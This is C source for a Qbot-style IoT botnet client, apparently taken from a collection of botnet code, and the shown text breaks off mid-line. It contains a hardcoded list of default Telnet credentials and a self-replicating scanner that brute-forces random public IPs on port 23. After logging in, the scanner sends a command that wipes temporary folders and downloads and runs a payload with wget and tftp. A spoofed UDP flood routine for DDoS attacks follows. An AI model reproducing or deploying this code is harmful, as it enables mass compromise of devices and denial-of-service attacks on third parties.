Path: blob/master/Botnets/Qbot/BallPit Selfrep/client.c
5038 views
// ___ __ _1// / \___ / _(_)_ __ ___ ___2// / /\ / _ \ |_| | '_ \ / _ \/ __|3// / /_// __/ _| | | | | __/\__ \4// /___,' \___|_| |_|_| |_|\___||___/56#define PR_SET_NAME 157#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))8#define PAD_RIGHT 19#define PAD_ZERO 210#define PRINT_BUF_LEN 1211#define CMD_IAC 25512#define CMD_WILL 25113#define CMD_WONT 25214#define CMD_DO 25315#define CMD_DONT 25416#define OPT_SGA 31718// _____ _ _19// \_ \_ __ ___| |_ _ __| | ___ ___20// / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|21// /\/ /_ | | | | (__| | |_| | (_| | __/\__ \22// \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/2324#include <stdlib.h>25#include <stdarg.h>26#include <stdio.h>27#include <sys/socket.h>28#include <sys/types.h>29#include <netinet/in.h>30#include <arpa/inet.h>31#include <netdb.h>32#include <signal.h>33#include <strings.h>34#include <string.h>35#include <sys/utsname.h>36#include <unistd.h>37#include <fcntl.h>38#include <errno.h>39#include <netinet/ip.h>40#include <netinet/udp.h>41#include <netinet/tcp.h>42#include <sys/wait.h>43#include <sys/ioctl.h>44#include <net/if.h>4546// ___ __ _47// / __\___ _ __ / _(_) __ _48// / / / _ \| '_ \| |_| |/ _` |49// / /__| (_) | | | | _| | (_| |50// \____/\___/|_| |_|_| |_|\__, |51// |___/5253unsigned char *commServer[] =54{55""56};5758// ___ _59// / __\ _ _ __ ___| |_(_) ___ _ __ ___60// / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|61// / / | |_| | | | | (__| |_| | (_) | | | \__ \62// \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/6364int initConnection();65int getBogos(unsigned char *bogomips);66int getCores();67int getCountry(unsigned char *buf, int bufsize);68void makeRandomStr(unsigned char *buf, int length);69int sockprintf(int sock, char *formatStr, ...);70char *inet_ntoa(struct in_addr in);7172// ___ _ _ _73// / _ \ | ___ | |__ __ _| |___74// / /_\/ |/ _ \| '_ \ / _` | / __|75// / /_\\| | (_) | |_) | (_| | \__ \76// \____/|_|\___/|_.__/ \__,_|_|___/7778int mainCommSock = 0, currentServer = -1, gotIP = 0;79uint32_t *pids;80uint32_t scanPid;81uint64_t numpids = 0;82struct in_addr ourIP;83unsigned char macAddress[6] = {0};84char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "cisco\0"};85char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "vizxv\0", "cisco\0"};8687// ___ ___ __ __ ___88// / __\/ _ \/__\ /\ \ \/ _ \89// / _\ / /_)/ \// / \/ / /_\/90// / / / ___/ _ \/ /\ / /_\\91// \/ \/ \/ \_/\_\ \/\____/9293#define PHI 0x9e3779b994static uint32_t Q[4096], c = 362436;9596void init_rand(uint32_t x)97{98int i;99100Q[0] = x;101Q[1] = x + PHI;102Q[2] = x + PHI + PHI;103104for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;105}106107uint32_t rand_cmwc(void)108{109uint64_t t, a = 18782LL;110static uint32_t i = 4095;111uint32_t x, r = 0xfffffffe;112i = (i + 1) & 4095;113t = a * Q[i] + c;114c = (uint32_t)(t >> 32);115x = t + c;116if (x < c) {117x++;118c++;119}120return (Q[i] = r - x);121}122123// _ _ _124// /\ /\| |_(_) |___125// / / \ \ __| | / __|126// \ \_/ / |_| | \__ \127// \___/ \__|_|_|___/128129void trim(char *str)130{131int i;132int begin = 0;133int end = strlen(str) - 1;134135while (isspace(str[begin])) begin++;136137while ((end >= begin) && isspace(str[end])) end--;138for (i = begin; i <= end; i++) str[i - begin] = str[i];139140str[i - begin] = '\0';141}142143static void printchar(unsigned char **str, int c)144{145if (str) {146**str = c;147++(*str);148}149else (void)write(1, &c, 1);150}151152static int prints(unsigned char **out, const unsigned char *string, int width, int pad)153{154register int pc = 0, padchar = ' ';155156if (width > 0) {157register int len = 0;158register const unsigned char *ptr;159for (ptr = string; *ptr; ++ptr) ++len;160if (len >= width) width = 0;161else width -= len;162if (pad & PAD_ZERO) padchar = '0';163}164if (!(pad & PAD_RIGHT)) {165for ( ; width > 0; --width) {166printchar (out, padchar);167++pc;168}169}170for ( ; *string ; ++string) {171printchar (out, *string);172++pc;173}174for ( ; width > 0; --width) {175printchar (out, padchar);176++pc;177}178179return pc;180}181182static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)183{184unsigned char print_buf[PRINT_BUF_LEN];185register unsigned char *s;186register int t, neg = 0, pc = 0;187register unsigned int u = i;188189if (i == 0) {190print_buf[0] = '0';191print_buf[1] = '\0';192return prints (out, print_buf, width, pad);193}194195if (sg && b == 10 && i < 0) {196neg = 1;197u = -i;198}199200s = print_buf + PRINT_BUF_LEN-1;201*s = '\0';202203while (u) {204t = u % b;205if( t >= 10 )206t += letbase - '0' - 10;207*--s = t + '0';208u /= b;209}210211if (neg) {212if( width && (pad & PAD_ZERO) ) {213printchar (out, '-');214++pc;215--width;216}217else {218*--s = '-';219}220}221222return pc + prints (out, s, width, pad);223}224225static int print(unsigned char **out, const unsigned char *format, va_list args )226{227register int width, pad;228register int pc = 0;229unsigned char scr[2];230231for (; *format != 0; ++format) {232if (*format == '%') {233++format;234width = pad = 0;235if (*format == '\0') break;236if (*format == '%') goto out;237if (*format == '-') {238++format;239pad = PAD_RIGHT;240}241while (*format == '0') {242++format;243pad |= PAD_ZERO;244}245for ( ; *format >= '0' && *format <= '9'; ++format) {246width *= 10;247width += *format - '0';248}249if( *format == 's' ) {250register char *s = (char *)va_arg( args, int );251pc += prints (out, s?s:"(null)", width, pad);252continue;253}254if( *format == 'd' ) {255pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');256continue;257}258if( *format == 'x' ) {259pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');260continue;261}262if( *format == 'X' ) {263pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');264continue;265}266if( *format == 'u' ) {267pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');268continue;269}270if( *format == 'c' ) {271scr[0] = (unsigned char)va_arg( args, int );272scr[1] = '\0';273pc += prints (out, scr, width, pad);274continue;275}276}277else {278out:279printchar (out, *format);280++pc;281}282}283if (out) **out = '\0';284va_end( args );285return pc;286}287288int zprintf(const unsigned char *format, ...)289{290va_list args;291va_start( args, format );292return print( 0, format, args );293}294295int szprintf(unsigned char *out, const unsigned char *format, ...)296{297va_list args;298va_start( args, format );299return print( &out, format, args );300}301302303int sockprintf(int sock, char *formatStr, ...)304{305unsigned char *textBuffer = malloc(2048);306memset(textBuffer, 0, 2048);307char *orig = textBuffer;308va_list args;309va_start(args, formatStr);310print(&textBuffer, formatStr, args);311va_end(args);312orig[strlen(orig)] = '\n';313zprintf("buf: %s\n", orig);314int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);315free(orig);316return q;317}318319static int *fdopen_pids;320321int fdpopen(unsigned char *program, register unsigned char *type)322{323register int iop;324int pdes[2], fds, pid;325326if (*type != 'r' && *type != 'w' || type[1]) return -1;327328if (pipe(pdes) < 0) return -1;329if (fdopen_pids == NULL) {330if ((fds = getdtablesize()) <= 0) return -1;331if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;332memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));333}334335switch (pid = vfork())336{337case -1:338close(pdes[0]);339close(pdes[1]);340return -1;341case 0:342if (*type == 'r') {343if (pdes[1] != 1) {344dup2(pdes[1], 1);345close(pdes[1]);346}347close(pdes[0]);348} else {349if (pdes[0] != 0) {350(void) dup2(pdes[0], 0);351(void) close(pdes[0]);352}353(void) close(pdes[1]);354}355execl("/bin/sh", "sh", "-c", program, NULL);356_exit(127);357}358if (*type == 'r') {359iop = pdes[0];360(void) close(pdes[1]);361} else {362iop = pdes[1];363(void) close(pdes[0]);364}365fdopen_pids[iop] = pid;366return (iop);367}368369int fdpclose(int iop)370{371register int fdes;372sigset_t omask, nmask;373int pstat;374register int pid;375376if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);377(void) close(iop);378sigemptyset(&nmask);379sigaddset(&nmask, SIGINT);380sigaddset(&nmask, SIGQUIT);381sigaddset(&nmask, SIGHUP);382(void) sigprocmask(SIG_BLOCK, &nmask, &omask);383do {384pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);385} while (pid == -1 && errno == EINTR);386(void) sigprocmask(SIG_SETMASK, &omask, NULL);387fdopen_pids[fdes] = 0;388return (pid == -1 ? -1 : WEXITSTATUS(pstat));389}390391unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)392{393int got = 1, total = 0;394while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }395return got == 0 ? NULL : buffer;396}397398static const long hextable[] = {399[0 ... 255] = -1,400['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,401['A'] = 10, 11, 12, 13, 14, 15,402['a'] = 10, 11, 12, 13, 14, 15403};404405long parseHex(unsigned char *hex)406{407long ret = 0;408while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];409return ret;410}411412int wildString(const unsigned char* pattern, const unsigned char* string) {413switch(*pattern)414{415case '\0': return *string;416case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));417case '?': return !(*string && !wildString(pattern+1, string+1));418default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));419}420}421422int getHost(unsigned char *toGet, struct in_addr *i)423{424struct hostent *h;425if((i->s_addr = inet_addr(toGet)) == -1) return 1;426return 0;427}428429void uppercase(unsigned char *str)430{431while(*str) { *str = toupper(*str); str++; }432}433434int getBogos(unsigned char *bogomips)435{436int cmdline = open("/proc/cpuinfo", O_RDONLY);437char linebuf[4096];438while(fdgets(linebuf, 4096, cmdline) != NULL)439{440uppercase(linebuf);441if(strstr(linebuf, "BOGOMIPS") == linebuf)442{443unsigned char *pos = linebuf + 8;444while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;445while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;446if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;447strcpy(bogomips, pos);448close(cmdline);449return 0;450}451memset(linebuf, 0, 4096);452}453close(cmdline);454return 1;455}456457int getCores()458{459int totalcores = 0;460int cmdline = open("/proc/cpuinfo", O_RDONLY);461char linebuf[4096];462while(fdgets(linebuf, 4096, cmdline) != NULL)463{464uppercase(linebuf);465if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;466memset(linebuf, 0, 4096);467}468close(cmdline);469return totalcores;470471}472473void makeRandomStr(unsigned char *buf, int length)474{475int i = 0;476for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;477}478479int recvLine(int socket, unsigned char *buf, int bufsize)480{481memset(buf, 0, bufsize);482483fd_set myset;484struct timeval tv;485tv.tv_sec = 30;486tv.tv_usec = 0;487FD_ZERO(&myset);488FD_SET(socket, &myset);489int selectRtn, retryCount;490if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {491while(retryCount < 10)492{493sockprintf(mainCommSock, "PING");494495tv.tv_sec = 30;496tv.tv_usec = 0;497FD_ZERO(&myset);498FD_SET(socket, &myset);499if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {500retryCount++;501continue;502}503504break;505}506}507508unsigned char tmpchr;509unsigned char *cp;510int count = 0;511512cp = buf;513while(bufsize-- > 1)514{515if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {516*cp = 0x00;517return -1;518}519*cp++ = tmpchr;520if(tmpchr == '\n') break;521count++;522}523*cp = 0x00;524525// zprintf("recv: %s\n", cp);526527return count;528}529530int connectTimeout(int fd, char *host, int port, int timeout)531{532struct sockaddr_in dest_addr;533fd_set myset;534struct timeval tv;535socklen_t lon;536537int valopt;538long arg = fcntl(fd, F_GETFL, NULL);539arg |= O_NONBLOCK;540fcntl(fd, F_SETFL, arg);541542dest_addr.sin_family = AF_INET;543dest_addr.sin_port = htons(port);544if(getHost(host, &dest_addr.sin_addr)) return 0;545memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);546int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));547548if (res < 0) {549if (errno == EINPROGRESS) {550tv.tv_sec = timeout;551tv.tv_usec = 0;552FD_ZERO(&myset);553FD_SET(fd, &myset);554if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {555lon = sizeof(int);556getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);557if (valopt) return 0;558}559else return 0;560}561else return 0;562}563564arg = fcntl(fd, F_GETFL, NULL);565arg &= (~O_NONBLOCK);566fcntl(fd, F_SETFL, arg);567568return 1;569}570571int listFork()572{573uint32_t parent, *newpids, i;574parent = fork();575if (parent <= 0) return parent;576numpids++;577newpids = (uint32_t*)malloc((numpids + 1) * 4);578for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];579newpids[numpids - 1] = parent;580free(pids);581pids = newpids;582return parent;583}584585int negotiate(int sock, unsigned char *buf, int len)586{587unsigned char c;588589switch (buf[1]) {590case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;591case CMD_WILL:592case CMD_WONT:593case CMD_DO:594case CMD_DONT:595c = CMD_IAC;596send(sock, &c, 1, MSG_NOSIGNAL);597if (CMD_WONT == buf[1]) c = CMD_DONT;598else if (CMD_DONT == buf[1]) c = CMD_WONT;599else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);600else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);601send(sock, &c, 1, MSG_NOSIGNAL);602send(sock, &(buf[2]), 1, MSG_NOSIGNAL);603break;604605default:606break;607}608609return 0;610}611612int matchPrompt(char *bufStr)613{614char *prompts = ":>%$#\0";615616int bufLen = strlen(bufStr);617int i, q = 0;618for(i = 0; i < strlen(prompts); i++)619{620while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;621if(*(bufStr + bufLen - q) == prompts[i]) return 1;622}623624return 0;625}626627int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)628{629int bufferUsed = initialIndex, got = 0, found = 0;630fd_set myset;631struct timeval tv;632tv.tv_sec = timeout;633tv.tv_usec = timeoutusec;634unsigned char *initialRead = NULL;635636while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))637{638FD_ZERO(&myset);639FD_SET(fd, &myset);640if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;641initialRead = buffer + bufferUsed;642got = recv(fd, initialRead, 1, 0);643if(got == -1 || got == 0) return 0;644bufferUsed += got;645if(*initialRead == 0xFF)646{647got = recv(fd, initialRead + 1, 2, 0);648if(got == -1 || got == 0) return 0;649bufferUsed += got;650if(!negotiate(fd, initialRead, 3)) return 0;651} else {652if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }653}654}655656if(found) return 1;657return 0;658}659660// _____ ___ _ _ _661// \_ \/ _ \ /\ /\| |_(_) |___662// / /\/ /_)/ / / \ \ __| | / __|663// /\/ /_/ ___/ \ \_/ / |_| | \__ \664// \____/\/ \___/ \__|_|_|___/665666static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo667in_addr_t getRandomPublicIP()668{669if(ipState[1] > 0 && ipState[4] < 255)670{671ipState[4]++;672char ip[16] = {0};673szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);674return inet_addr(ip);675}676677ipState[1] = rand() % 255;678ipState[2] = rand() % 255;679ipState[3] = rand() % 255;680ipState[4] = 0;681while(682(ipState[1] == 0) ||683(ipState[1] == 10) ||684(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||685(ipState[1] == 127) ||686(ipState[1] == 169 && ipState[2] == 254) ||687(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||688(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||689(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||690(ipState[1] == 192 && ipState[2] == 168) ||691(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||692(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||693(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||694(ipState[1] >= 224)695)696{697ipState[1] = rand() % 255;698ipState[2] = rand() % 255;699ipState[3] = rand() % 255;700}701702char ip[16] = {0};703szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);704return inet_addr(ip);705}706707in_addr_t getRandomIP(in_addr_t netmask)708{709in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;710return tmp ^ ( rand_cmwc() & ~netmask);711}712713unsigned short csum (unsigned short *buf, int count)714{715register uint64_t sum = 0;716while( count > 1 ) { sum += *buf++; count -= 2; }717if(count > 0) { sum += *(unsigned char *)buf; }718while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }719return (uint16_t)(~sum);720}721722unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)723{724725struct tcp_pseudo726{727unsigned long src_addr;728unsigned long dst_addr;729unsigned char zero;730unsigned char proto;731unsigned short length;732} pseudohead;733unsigned short total_len = iph->tot_len;734pseudohead.src_addr=iph->saddr;735pseudohead.dst_addr=iph->daddr;736pseudohead.zero=0;737pseudohead.proto=IPPROTO_TCP;738pseudohead.length=htons(sizeof(struct tcphdr));739int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);740unsigned short *tcp = malloc(totaltcp_len);741memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));742memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));743unsigned short output = csum(tcp,totaltcp_len);744free(tcp);745return output;746}747748void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)749{750iph->ihl = 5;751iph->version = 4;752iph->tos = 0;753iph->tot_len = sizeof(struct iphdr) + packetSize;754iph->id = rand_cmwc();755iph->frag_off = 0;756iph->ttl = MAXTTL;757iph->protocol = protocol;758iph->check = 0;759iph->saddr = source;760iph->daddr = dest;761}762763int sclose(int fd)764{765if(3 > fd) return 1;766close(fd);767return 0;768}769770// _____ _ _ __ _ _771// /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |772// / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |773// / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |774// \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|775776void StartTheLelz()777{778int max = (getdtablesize() / 4) * 3, i, res;779fd_set myset;780struct timeval tv;781socklen_t lon;782int valopt;783784max = max > 512 ? 512 : max;785786struct sockaddr_in dest_addr;787dest_addr.sin_family = AF_INET;788dest_addr.sin_port = htons(23);789memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);790791struct telstate_t792{793int fd;794uint32_t ip;795uint8_t state;796uint8_t complete;797uint8_t usernameInd;798uint8_t passwordInd;799uint32_t totalTimeout;800uint16_t bufUsed;801char *sockbuf;802} fds[max];803memset(fds, 0, max * (sizeof(int) + 1));804for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }805struct timeval timeout;806timeout.tv_sec = 5;807timeout.tv_usec = 0;808while(1)809{810for(i = 0; i < max; i++)811{812switch(fds[i].state)813{814case 0:815{816memset(fds[i].sockbuf, 0, 1024);817818if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }819else {820fds[i].passwordInd++;821if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }822if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }823}824dest_addr.sin_family = AF_INET;825dest_addr.sin_port = htons(23);826memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);827dest_addr.sin_addr.s_addr = fds[i].ip;828fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);829setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));830setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));831if(fds[i].fd == -1) { continue; }832fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);833if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }834else { fds[i].state = 1; fds[i].totalTimeout = 0; }835}836break;837838case 1:839{840if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);841842FD_ZERO(&myset);843FD_SET(fds[i].fd, &myset);844tv.tv_sec = 0;845tv.tv_usec = 10000;846res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);847if(res == 1)848{849lon = sizeof(int);850valopt = 0;851getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);852if(valopt)853{854sclose(fds[i].fd);855fds[i].state = 0;856fds[i].complete = 1;857} else {858fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));859fds[i].totalTimeout = 0;860fds[i].bufUsed = 0;861memset(fds[i].sockbuf, 0, 1024);862fds[i].state = 2;863continue;864}865} else if(res == -1)866{867sclose(fds[i].fd);868fds[i].state = 0;869fds[i].complete = 1;870}871872if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))873{874sclose(fds[i].fd);875fds[i].state = 0;876fds[i].complete = 1;877}878}879break;880881case 2:882{883if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);884if(matchPrompt(fds[i].sockbuf)) {885fds[i].state = 7;886}887888if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))889{890fds[i].totalTimeout = 0;891fds[i].bufUsed = 0;892memset(fds[i].sockbuf, 0, 1024);893fds[i].state = 3;894continue;895} else {896fds[i].bufUsed = strlen(fds[i].sockbuf);897}898899if(fds[i].totalTimeout + 30 < time(NULL))900{901sclose(fds[i].fd);902fds[i].state = 0;903fds[i].complete = 1;904}905}906break;907908case 3:909{910if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }911if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }912fds[i].state = 4;913}914break;915916case 4:917{918if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);919920if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))921{922fds[i].totalTimeout = 0;923fds[i].bufUsed = 0;924if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;925else fds[i].state = 7;926memset(fds[i].sockbuf, 0, 1024);927continue;928} else {929if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }930fds[i].bufUsed = strlen(fds[i].sockbuf);931}932933if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))934{935sclose(fds[i].fd);936fds[i].state = 0;937fds[i].complete = 1;938}939}940break;941942case 5:943{944if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }945if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }946fds[i].state = 6;947}948break;949950case 6:951{952if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);953954if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))955{956fds[i].totalTimeout = 0;957fds[i].bufUsed = 0;958if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }959if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }960else fds[i].state = 7;961memset(fds[i].sockbuf, 0, 1024);962continue;963} else {964fds[i].bufUsed = strlen(fds[i].sockbuf);965}966967if(fds[i].totalTimeout + 30 < time(NULL))968{969sclose(fds[i].fd);970fds[i].state = 0;971fds[i].complete = 1;972}973}974break;975976case 7:977{978if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }979fds[i].state = 8;980}981break;982983case 8:984{985//thx spencer pusC fgt986if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);987988if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http:///.sh; sh .sh; wget1 http:///.sh; sh .sh; busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh\r\n", 284, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }989990if(fds[i].totalTimeout + 45 < time(NULL))991{992sclose(fds[i].fd);993fds[i].state = 0;994fds[i].complete = 1;995}996}997break;998}999}1000}1001}10021003// ___ ___ ___ _ _1004// /\ /\ / \/ _ \ / __\ | ___ ___ __| |1005// / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |1006// \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |1007// \___/___,'\/ \/ |_|\___/ \___/ \__,_|10081009void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)1010{1011struct sockaddr_in dest_addr;10121013dest_addr.sin_family = AF_INET;1014if(port == 0) dest_addr.sin_port = rand_cmwc();1015else dest_addr.sin_port = htons(port);1016if(getHost(target, &dest_addr.sin_addr)) return;1017memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);10181019register unsigned int pollRegister;1020pollRegister = pollinterval;10211022if(spoofit == 32)1023{1024int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);1025if(!sockfd)1026{1027sockprintf(mainCommSock, "Failed opening raw socket.");1028return;1029}10301031unsigned char *buf = (unsigned char *)malloc(packetsize + 1);1032if(buf == NULL) return;1033memset(buf, 0, packetsize + 1);1034makeRandomStr(buf, packetsize);10351036int end = time(NULL) + timeEnd;1037register unsigned int i = 0;1038while(1)1039{1040sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));10411042if(i == pollRegister)1043{1044if(port == 0) dest_addr.sin_port = rand_cmwc();1045if(time(NULL) > end) break;1046i = 0;1047continue;1048}1049i++;1050}1051} else {1052int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);1053if(!sockfd)1054{1055sockprintf(mainCommSock, "Failed opening raw socket.");1056//sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);1057return;1058}10591060int tmp = 1;1061if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)1062{1063sockprintf(mainCommSock, "Failed setting raw headers mode.");1064return;1065}10661067int counter = 50;1068while(counter--)1069{1070srand(time(NULL) ^ rand_cmwc());1071init_rand(rand());1072}10731074in_addr_t netmask;10751076if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );1077else netmask = ( ~((1 << (32 - spoofit)) - 1) );10781079unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];1080struct iphdr *iph = (struct iphdr *)packet;1081struct udphdr *udph = (void *)iph + sizeof(struct iphdr);10821083makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);10841085udph->len = htons(sizeof(struct udphdr) + packetsize);1086udph->source = rand_cmwc();1087udph->dest = (port == 0 ? rand_cmwc() : htons(port));1088udph->check = 0;10891090makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);10911092iph->check = csum ((unsigned short *) packet, 